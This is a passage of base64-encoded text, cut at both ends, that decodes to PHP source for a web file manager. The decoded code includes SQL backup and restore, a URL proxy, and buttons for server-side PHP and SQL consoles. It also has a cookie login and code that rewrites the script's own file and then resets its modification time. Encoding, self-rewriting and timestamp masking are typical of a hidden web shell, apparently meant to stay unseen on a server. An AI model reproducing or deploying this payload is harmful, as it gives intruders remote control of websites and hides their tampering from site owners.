ZpZWxkczsgJGorKylcdHtcclxuXHRcdFx0XHRcdCRyb3dbJGpdID0gYWRkc2xhc2hlcygkcm93WyRqXSk7XHJcblx0XHRcdFx0XHQkcm93WyRqXSA9IHN0cl9yZXBsYWNlKFwiXFxuXCIsXCJcXFxcblwiLCRyb3dbJGpdKTtcclxuXHRcdFx0XHRcdGlmIChpc3NldCgkcm93WyRqXSkpIHsgJHJldHVybi49ICdcIicuJHJvd1skal0uJ1wiJyA7IH0gZWxzZSB7ICRyZXR1cm4uPSAnXCJcIic7IH1cclxuXHRcdFx0XHRcdGlmICgkajwoJG51bV9maWVsZHMtMSkpIHsgJHJldHVybi49ICcsJzsgfVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHQkcmV0dXJuLj0gJyknLiRkZWxpbWl0ZXI7XHJcblx0XHRcdH1cclxuXHRcdCAgfVxyXG5cdFx0fSBlbHNlIHsgXHJcblx0XHQkcmV0dXJuID0gcHJlZ19yZXBsYWNlKFwiI0FVVE9fSU5DUkVNRU5UPVtcXGRdKyAjaXNcIiwgJycsICRyZXR1cm4pO1xyXG5cdFx0fVxyXG5cdFx0JHJldHVybi49XCJcXG5cXG5cXG5cIjtcclxuXHR9XHJcblxyXG5cdFwvXC9zYXZlIGZpbGVcclxuICAgICRmaWxlPWdtZGF0ZShcIlktbS1kX0gtaS1zXCIsdGltZSgpKS4nLnNxbCc7XHJcblx0JGhhbmRsZSA9IGZvcGVuKCRmaWxlLCd3KycpO1xyXG5cdGZ3cml0ZSgkaGFuZGxlLCRyZXR1cm4pO1xyXG5cdGZjbG9zZSgkaGFuZGxlKTtcclxuXHQkYWxlcnQgPSAnb25DbGljaz1cImlmKGNvbmZpcm0oXFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcXG4nLiAkZmlsZS4gJy4gXFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXFwnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFxcJz9kZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXFwnXCInO1xyXG4gICAgcmV0dXJuICRmaWxlLic6ICcuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRmaWxlLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4kZmlsZSkuJyA8YSBocmVmPVwiI1wiIHRpdGxlPVwiJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGUgLiAnXCIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8XC9hPic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3Jlc3RvcmVfdGFibGVzKCRzcWxGaWxlVG9FeGVjdXRlKSB7XHJcblx0JG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpO1xyXG5cdCRkZWxpbWl0ZXIgPSBcIjsgXFxuICBcXG5cIjtcclxuICAgIFwvXC8gTG9hZCBhbmQgZXhwbG9kZSB0aGUgc3FsIGZpbGVcclxuICAgICRmID0gZm9wZW4oJHNxbEZpbGVUb0V4ZWN1dGUsXCJyK1wiKTtcclxuICAgICRzcWxGaWxlID0gZnJlYWQoJGYsZmlsZXNpemUoJHNxbEZpbGVUb0V4ZWN1dGUpKTtcclxuICAgICRzcWxBcnJheSA9IGV4cGxvZGUoJGRlbGltaXRlciwkc3FsRmlsZSk7XHJcblx0XHJcbiAgICBcL1wvUHJvY2VzcyB0aGUgc3FsIGZpbGUgYnkgc3RhdGVtZW50c1xyXG4gICAgZm9yZWFjaCAoJHNxbEFycmF5IGFzICRzdG10KSB7XHJcbiAgICAgICAgaWYgKHN0cmxlbigkc3RtdCk+Myl7XHJcblx0XHRcdCRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJHN0bXQpO1xyXG5cdFx0XHRcdGlmICghJHJlc3VsdCl7XHJcblx0XHRcdFx0XHQkc3FsRXJyb3JDb2RlID0gbXlzcWxpX2Vycm5vKCRteXNxbGRiLT5jb25uZWN0aW9uKTtcclxuXHRcdFx0XHRcdCRzcWxFcnJvclRleHQgPSBteXNxbGlfZXJyb3IoJG15c3FsZGItPmNvbm5lY3Rpb24pO1xyXG5cdFx0XHRcdFx0JHNxbFN0bXQgICAgICA9ICRzdG10O1xyXG5cdFx0XHRcdFx0YnJlYWs7XHJcbiAgICAgICAgICAgXHQgICAgIH1cclxuICAgICAgICAgICBcdCAgfVxyXG4gICAgICAgICAgIH1cclxuaWYgKGVtcHR5KCRzcWxFcnJvckNvZGUpKSByZXR1cm4gX18oJ1N1Y2Nlc3MnKS4nIFx1MjAxNCAnLiRzcWxGaWxlVG9FeGVjdXRlO1xyXG5lbHNlIHJldHVybiAkc3FsRXJyb3JUZXh0Lic8YnJcLz4nLiRzdG10O1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9pbWdfbGluaygkZmlsZW5hbWUpe1xyXG5cdHJldHVybiAnLlwvJy5iYXNlbmFtZShfX0ZJTEVfXykuJz9pbWc9Jy5iYXNlNjRfZW5jb2RlKCRmaWxlbmFtZSk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2hvbWVfc3R5bGUoKXtcclxuXHRyZXR1cm4gJ1xyXG5pbnB1dCwgaW5wdXQuZm1faW5wdXQge1xyXG5cdHRleHQtaW5kZW50OiAycHg7XHJcbn1cclxuXHJcbmlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0LCBpbnB1dC5mbV9pbnB1dCB7XHJcblx0Y29sb3I6IGJsYWNrO1xyXG5cdGZvbnQ6IG5vcm1hbCA4cHQgVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjtcclxuXHRib3JkZXItY29sb3I6IGJsYWNrO1xyXG5cdGJhY2tncm91bmQtY29sb3I6ICM2OTY5Njkgbm9uZSAhaW1wb3J0YW50O1xyXG5cdGJvcmRlci1yYWRpdXM6IDA7XHJcblx0cGFkZGluZzogMnB4O1xyXG59XHJcblxyXG5pbnB1dC5mbV9pbnB1dCB7XHJcblx0YmFja2dyb3VuZDogIzY5Njk2OSBub25lICFpbXBvcnRhbnQ7XHJcblx0Y3Vyc29yOiBwb2ludGVyO1xyXG59XHJcblxyXG4uaG9tZSB7XHJcblx0YmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUFCR2RCVFVFQUFLXC9JTndXSzZRQUFBZ1JRVEZSRlwvZjM5Nk9qb1wvXC9cL1wvdFQwMnpyK2Z3NjZSdGo0MzJURXAzTVhFMkRBcjNUWXAxeTRtdER3MlwvN0JNXC83Qk9xVnBjXC84bDMxamNxcTZlbndjSEIyVGdpNWpncVZwYkZ2cmEybkJBVlwvUHo4MlMwam54MFczVFVrcVNnaTRlSGg0VHNyZTR3b3N6MDI2dVBqekdZZDZVczN5bkF5ZFVCQTVLbDNmbTVlcVphVzdPRGdpMlZnK1BqNHVZK0V3TG01Ylk5VVwvXC83amZMdEMrdE9LM2pjbVwvNzF1MmpZbzFVWWg1YUpsXC9zZUMzakVtMTJrbUpySUExak1tXC85YVU0TGgwZTAxQmxJYUVcL1wvXC9kaE1kQzdJQVwvXC9mVFoyYzNNVzZuTjMwd2Y5NVZkNEpkWG9YVm9zOG5FNGVmTlwvKzYzSUpnU25ZaGw3RjRjc1h0ODlHUVV3TCtcL2psMWM0MUFxK2ZiMmdtdEkxckthMkM0a0phSUEzallybFRCbWNSeThCNzJ3dVVUTjZBS0VRMkh0U2s0OGduNXJocEJzXC8rbWNqTEs4M2pZa3ltTVYzVFlrXC9cL0hNK3U3V2htdHIwb2RUcGFPamZXSmZySHBnXC84QnNcLzd0V1wvN1ZlKzRVNTJETW0zTUxCbjRxTGdOVk02TXpCM2xFZmxJdUxcLytqQVwvXC9cLzIwTE96alh4OFwvN2xiV3BKRzJDOGszVG9zSktNQTF5d2pvcE9SMXpZcDVEc3BpYXkreUtOaHFLU2s4Tlc2XC9mam5zN096MnRuWnV6ODg3YitXM2FSWVwvK21zNHJDRTNUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCV1wvOXFJdXdnS3kwc1crdWpUNFRRbnR6NDIzQzhpM3pValwvK0t3XC9hNWQ2VU14dUw2d3pERXJcL1wvXC9cL2NxSlFmQUFBQUt4MFVrNVRcL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9BQVdWRmJFQUFBQVpkRVZZZEZOdlpuUjNZWEpsQUVGa2IySmxJRWx0WVdkbFVtVmhaSGx4eVdVOEFBQUEyVWxFUVZRb1UyTllqUVlZc0FpRThVOVl6RFlqVnBHWlJ4TWlFQ2l0TXJWWnZvTXJUQm1jUnk4Qjcyd3VVVE42QUtFUTJIdFNrNDhnbjVyaHBCXC9mTk10azQweVo5S1ZMUWhnWWt1WTdOeFF2WHlIVkZObkt6UjY5cXB4QlBNZXowRVRBUXlUVXZTb2dhSUZhUGNOcVZcL001ZGhhMlJsMlRpbWI2WitRQkRZMVhOXC9TYnU4eEZMRzNlTERmbDJVQUJqaWxPMW8wMTJaM2VrMWxaVklXQUFtVVRLNkwwczNwWCtqajZwdVoyQXdXVXZCUmFwaHN3TWRVdWpDaXdEd2E1VkVkUEk3eW5VbGM3djFxWVVSTHF1ZjQyaHo0NUNCUER0d0FDcm0rUkRjeEpZQUFBQUFCSlJVNUVya0pnZ2c9PVwiKTtcclxuXHRiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xyXG59JztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fY29uZmlnX2NoZWNrYm94X3JvdygkbmFtZSwkdmFsdWUpIHtcclxuXHRnbG9iYWwgJGZtX2NvbmZpZztcclxuXHRyZXR1cm4gJzx0cj48dGQgY2xhc3M9XCJyb3cxXCI+PGlucHV0IGlkPVwiZm1fY29uZmlnXycuJHZhbHVlLidcIiBuYW1lPVwiZm1fY29uZmlnWycuJHZhbHVlLiddXCIgdmFsdWU9XCIxXCIgJy4oZW1wdHkoJGZtX2NvbmZpZ1skdmFsdWVdKT8nJzonY2hlY2tlZD1cInRydWVcIicpLicgdHlwZT1cImNoZWNrYm94XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPjxsYWJlbCBmb3I9XCJmbV9jb25maWdfJy4kdmFsdWUuJ1wiPicuJG5hbWUuJzxcL3RkPjxcL3RyPic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3Byb3RvY29sKCkge1xyXG5cdGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXSkpIHJldHVybiAkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXS4nOlwvXC8nO1xyXG5cdGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJykgcmV0dXJuICdodHRwczpcL1wvJztcclxuXHRpZiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MykgcmV0dXJuICdodHRwczpcL1wvJztcclxuXHRpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSByZXR1cm4gJ2h0dHBzOlwvXC8nO1xyXG5cdHJldHVybiAnaHR0cDpcL1wvJztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fc2l0ZV91cmwoKSB7XHJcblx0cmV0dXJuIGZtX3Byb3RvY29sKCkuJF9TRVJWRVJbJ0hUVFBfSE9TVCddO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV91cmwoJGZ1bGw9ZmFsc2UpIHtcclxuXHQkaG9zdD0kZnVsbD9mbV9zaXRlX3VybCgpOicuJztcclxuXHRyZXR1cm4gJGhvc3QuJ1wvJy5iYXNlbmFtZShfX0ZJTEVfXyk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2hvbWUoJGZ1bGw9ZmFsc2Upe1xyXG5cdHJldHVybiAnJm5ic3A7PGEgaHJlZj1cIicuZm1fdXJsKCRmdWxsKS4nXCIgdGl0bGU9XCInLl9fKCdIb21lJykuJ1wiPjxzcGFuIGNsYXNzPVwiaG9tZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxcL3NwYW4+PFwvYT4nO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9ydW5faW5wdXQoJGxuZykge1xyXG5cdGdsb2JhbCAkZm1fY29uZmlnO1xyXG5cdCRyZXR1cm4gPSAhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlXycuJGxuZy4nX2NvbnNvbGUnXSkgPyBcclxuXHQnXHJcblx0XHRcdFx0PGZvcm0gIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCInLmZtX3VybCgpLidcIiBzdHlsZT1cImRpc3BsYXk6aW5saW5lXCI+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiJy4kbG5nLidydW5cIiB2YWx1ZT1cIicuc3RydG91cHBlcigkbG5nKS4nICcuX18oJ0NvbnNvbGUnKS4nXCI+XHJcblx0XHRcdFx0PFwvZm9ybT5cclxuJyA6ICcnO1xyXG5cdHJldHVybiAkcmV0dXJuO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV91cmxfcHJveHkoJG1hdGNoZXMpIHtcclxuXHQkbGluayA9IHN0cl9yZXBsYWNlKCcmYW1wOycsJyYnLCRtYXRjaGVzWzJdKTtcclxuXHQkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT8kX0dFVFsndXJsJ106Jyc7XHJcblx0JHBhcnNlX3VybCA9IHBhcnNlX3VybCgkdXJsKTtcclxuXHQkaG9zdCA9ICRwYXJzZV91cmxbJ3NjaGVtZSddLic6XC9cLycuJHBhcnNlX3VybFsnaG9zdCddLidcLyc7XHJcblx0aWYgKHN1YnN0cigkbGluaywwLDIpPT0nXC9cLycpIHtcclxuXHRcdCRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssZm1fcHJvdG9jb2woKSwwLDIpO1xyXG5cdH0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwxKT09J1wvJykge1xyXG5cdFx0JGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDEpO1x0XHJcblx0fSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDIpPT0nLlwvJykge1xyXG5cdFx0JGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDIpO1x0XHJcblx0fSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDQpPT0naHR0cCcpIHtcclxuXHRcdFwvXC9hbGxlcyBtYWNoZW4gd3VuZGVyc2Nob25cclxuXHR9IGVsc2Uge1xyXG5cdFx0JGxpbmsgPSAkaG9zdC4kbGluaztcclxuXHR9IFxyXG5cdGlmICgkbWF0Y2hlc1sxXT09J2hyZWYnICYmICFzdHJyaXBvcygkbGluaywgJ2NzcycpKSB7XHJcblx0XHQkYmFzZSA9IGZtX3NpdGVfdXJsKCkuJ1wvJy5iYXNlbmFtZShfX0ZJTEVfXyk7XHJcblx0XHQkYmFzZXEgPSAkYmFzZS4nP3Byb3h5PXRydWUmdXJsPSc7XHJcblx0XHQkbGluayA9ICRiYXNlcS51cmxlbmNvZGUoJGxpbmspO1xyXG5cdH0gZWxzZWlmIChzdHJyaXBvcygkbGluaywgJ2NzcycpKXtcclxuXHRcdFwvXC8/Pz8tPz8gPz8/PyA/Pz8/Pz8/Pz8gPz8/P1xyXG5cdH1cclxuXHRyZXR1cm4gJG1hdGNoZXNbMV0uJz1cIicuJGxpbmsuJ1wiJztcclxufVxyXG4gXHJcbmZ1bmN0aW9uIGZtX3RwbF9mb3JtKCRsbmdfdHBsKSB7XHJcblx0Z2xvYmFsICR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfTtcclxuXHQkdHBsX2FyciA9IGpzb25fZGVjb2RlKCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSx0cnVlKTtcclxuXHQkc3RyID0gJyc7XHJcblx0Zm9yZWFjaCAoJHRwbF9hcnIgYXMgJGt0cGw9PiR2dHBsKSB7XHJcblx0XHQkc3RyIC49ICc8dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiJy4kbG5nX3RwbC4nX25hbWVbXVwiIHZhbHVlPVwiJy4ka3RwbC4nXCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPjx0ZXh0YXJlYSBuYW1lPVwiJy4kbG5nX3RwbC4nX3ZhbHVlW11cIiAgY29scz1cIjU1XCIgcm93cz1cIjVcIiBjbGFzcz1cInRleHRhcmVhX2lucHV0XCI+Jy4kdnRwbC4nPFwvdGV4dGFyZWE+IDxpbnB1dCBuYW1lPVwiZGVsXycucmFuZCgpLidcIiB0eXBlPVwiYnV0dG9uXCIgb25DbGljaz1cInRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZSgpO1wiIHZhbHVlPVwiJy5fXygnRGVsZXRlJykuJ1wiXC8+PFwvdGQ+PFwvdHI+JztcclxuXHR9XHJcbnJldHVybiAnXHJcbjx0YWJsZT5cclxuPHRyPjx0aCBjb2xzcGFuPVwiMlwiPicuc3RydG91cHBlcigkbG5nX3RwbCkuJyAnLl9fKCd0ZW1wbGF0ZXMnKS4nICcuZm1fcnVuX2lucHV0KCRsbmdfdHBsKS4nPFwvdGg+PFwvdHI+XHJcbjxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCJcIj5cclxuPGlucHV0IHR5cGU9XCJoaWRkZW5cIiB2YWx1ZT1cIicuJGxuZ190cGwuJ1wiIG5hbWU9XCJ0cGxfZWRpdGVkXCI+XHJcbjx0cj48dGQgY2xhc3M9XCJyb3cxXCI+Jy5fXygnTmFtZScpLic8XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI+Jy5fXygnVmFsdWUnKS4nPFwvdGQ+PFwvdHI+XHJcbicuJHN0ci4nXHJcbjx0cj48dGQgY29sc3Bhbj1cIjJcIiBjbGFzcz1cInJvdzNcIj48aW5wdXQgbmFtZT1cInJlc1wiIHR5cGU9XCJidXR0b25cIiBvbkNsaWNrPVwiZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFxcJycuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlXFwnO1wiIHZhbHVlPVwiJy5fXygnUmVzZXQnKS4nXCJcLz4gPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIicuX18oJ1NhdmUnKS4nXCIgPjxcL3RkPjxcL3RyPlxyXG48XC9mb3JtPlxyXG48Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+XHJcbjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgdmFsdWU9XCInLiRsbmdfdHBsLidcIiBuYW1lPVwidHBsX2VkaXRlZFwiPlxyXG48dHI+PHRkIGNsYXNzPVwicm93MVwiPjxpbnB1dCBuYW1lPVwiJy4kbG5nX3RwbC4nX25ld19uYW1lXCIgdmFsdWU9XCJcIiBwbGFjZWhvbGRlcj1cIicuX18oJ05ldycpLicgJy5fXygnTmFtZScpLidcIj48XC90ZD48dGQgY2xhc3M9XCJyb3cyIHdob2xlXCI+PHRleHRhcmVhIG5hbWU9XCInLiRsbmdfdHBsLidfbmV3X3ZhbHVlXCIgIGNvbHM9XCI1NVwiIHJvd3M9XCI1XCIgY2xhc3M9XCJ0ZXh0YXJlYV9pbnB1dFwiIHBsYWNlaG9sZGVyPVwiJy5fXygnTmV3JykuJyAnLl9fKCdWYWx1ZScpLidcIj48XC90ZXh0YXJlYT48XC90ZD48XC90cj5cclxuPHRyPjx0ZCBjb2xzcGFuPVwiMlwiIGNsYXNzPVwicm93M1wiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCInLl9fKCdBZGQnKS4nXCIgPjxcL3RkPjxcL3RyPlxyXG48XC9mb3JtPlxyXG48XC90YWJsZT5cclxuJztcclxufVxyXG5cclxuXC8qIEVuZCBGdW5jdGlvbnMgKlwvXHJcblxyXG5cL1wvIGF1dGhvcml6YXRpb25cclxuaWYgKCRhdXRoWydhdXRob3JpemUnXSkge1xyXG5cdGlmIChpc3NldCgkX1BPU1RbJ2xvZ2luJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkpe1xyXG5cdFx0aWYgKCgkX1BPU1RbJ2xvZ2luJ109PSRhdXRoWydsb2dpbiddKSAmJiAoJF9QT1NUWydwYXNzd29yZCddPT0kYXV0aFsncGFzc3dvcmQnXSkpIHtcclxuXHRcdFx0c2V0Y29va2llKCRhdXRoWydjb29raWVfbmFtZSddLCAkYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7XHJcblx0XHRcdCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXT0kYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKTtcclxuXHRcdH1cclxuXHR9XHJcblx0aWYgKCFpc3NldCgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0pIE9SICgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0hPSRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pKSkge1xyXG5cdFx0ZWNobyAnXHJcbjwhZG9jdHlwZSBodG1sPlxyXG48aHRtbD5cclxuPGhlYWQ+XHJcbjxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiIFwvPlxyXG48bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTFcIiBcLz5cclxuPHRpdGxlPicuX18oJycpLic8XC90aXRsZT5cclxuPFwvaGVhZD5cclxuPGJvZHk+XHJcbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cclxuJy5fXygnTG9naW4nKS4nIDxpbnB1dCBuYW1lPVwibG9naW5cIiB0eXBlPVwidGV4dFwiPiZuYnNwOyZuYnNwOyZuYnNwO1xyXG4nLl9fKCdQYXNzd29yZCcpLicgPGlucHV0IG5hbWU9XCJwYXNzd29yZFwiIHR5cGU9XCJwYXNzd29yZFwiPiZuYnNwOyZuYnNwOyZuYnNwO1xyXG48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiJy5fXygnRW50ZXInKS4nXCIgY2xhc3M9XCJmbV9pbnB1dFwiPlxyXG48XC9mb3JtPlxyXG4nLmZtX2xhbmdfZm9ybSgkbGFuZ3VhZ2UpLidcclxuPFwvYm9keT5cclxuPFwvaHRtbD5cclxuJzsgIFxyXG5kaWUoKTtcclxuXHR9XHJcblx0aWYgKGlzc2V0KCRfUE9TVFsncXVpdCddKSkge1xyXG5cdFx0dW5zZXQoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dKTtcclxuXHRcdHNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0aGVhZGVyKCdMb2NhdGlvbjogJy5mbV9zaXRlX3VybCgpLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTtcclxuXHR9XHJcbn1cclxuXHJcblwvXC8gQ2hhbmdlIGNvbmZpZ1xyXG5pZiAoaXNzZXQoJF9HRVRbJ2ZtX3NldHRpbmdzJ10pKSB7XHJcblx0aWYgKGlzc2V0KCRfR0VUWydmbV9jb25maWdfZGVsZXRlJ10pKSB7IFxyXG5cdFx0dW5zZXQoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTtcclxuXHRcdHNldGNvb2tpZSgnZm1fY29uZmlnJywgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0aGVhZGVyKCdMb2NhdGlvbjogJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWUnKTtcclxuXHRcdGV4aXQoMCk7XHJcblx0fVx0ZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX2NvbmZpZyddKSkgeyBcclxuXHRcdCRmbV9jb25maWcgPSAkX1BPU1RbJ2ZtX2NvbmZpZyddO1xyXG5cdFx0c2V0Y29va2llKCdmbV9jb25maWcnLCBzZXJpYWxpemUoJGZtX2NvbmZpZyksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpO1xyXG5cdFx0JF9DT09LSUVbJ2ZtX2NvbmZpZyddID0gc2VyaWFsaXplKCRmbV9jb25maWcpO1xyXG5cdFx0JG1zZyA9IF9fKCdTZXR0aW5ncycpLicgJy5fXygnZG9uZScpO1xyXG5cdH1cdGVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9sb2dpbiddKSkgeyBcclxuXHRcdGlmIChlbXB0eSgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2F1dGhvcml6ZSddKSkgJF9QT1NUWydmbV9sb2dpbiddID0gYXJyYXkoJ2F1dGhvcml6ZScgPT4gJzAnKSArICRfUE9TVFsnZm1fbG9naW4nXTtcclxuXHRcdCRmbV9sb2dpbiA9IGpzb25fZW5jb2RlKCRfUE9TVFsnZm1fbG9naW4nXSk7XHJcblx0XHQkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pO1xyXG5cdFx0JHNlYXJjaCA9IHByZWdfbWF0Y2goJyNhdXRob3JpemF0aW9uW1xcc10/XFw9W1xcc10/XFwnXFx7XFxcIiguKj8pXFxcIlxcfVxcJzsjJywgJGZnYywgJG1hdGNoZXMpO1xyXG5cdFx0aWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHtcclxuXHRcdFx0JGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7XHJcblx0XHRcdCRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3tcIicuJG1hdGNoZXNbMV0uJ1wifScsJGZtX2xvZ2luLCRmZ2MpO1xyXG5cdFx0XHRpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkge1xyXG5cdFx0XHRcdCRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpO1xyXG5cdFx0XHRcdGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ10gIT0gJGF1dGhbJ2xvZ2luJ10pICRtc2cgLj0gJyAnLl9fKCdMb2dpbicpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddO1xyXG5cdFx0XHRcdGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ10gIT0gJGF1dGhbJ3Bhc3N3b3JkJ10pICRtc2cgLj0gJyAnLl9fKCdQYXNzd29yZCcpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddO1xyXG5cdFx0XHRcdCRhdXRoID0gJF9QT1NUWydmbV9sb2dpbiddO1xyXG5cdFx0XHR9XHJcblx0XHRcdGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHRcdFx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpO1xyXG5cdFx0fVxyXG5cdH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ3RwbF9lZGl0ZWQnXSkpIHsgXHJcblx0XHQkbG5nX3RwbCA9ICRfUE9TVFsndHBsX2VkaXRlZCddO1xyXG5cdFx0aWYgKCFlbXB0eSgkX1BPU1RbJGxu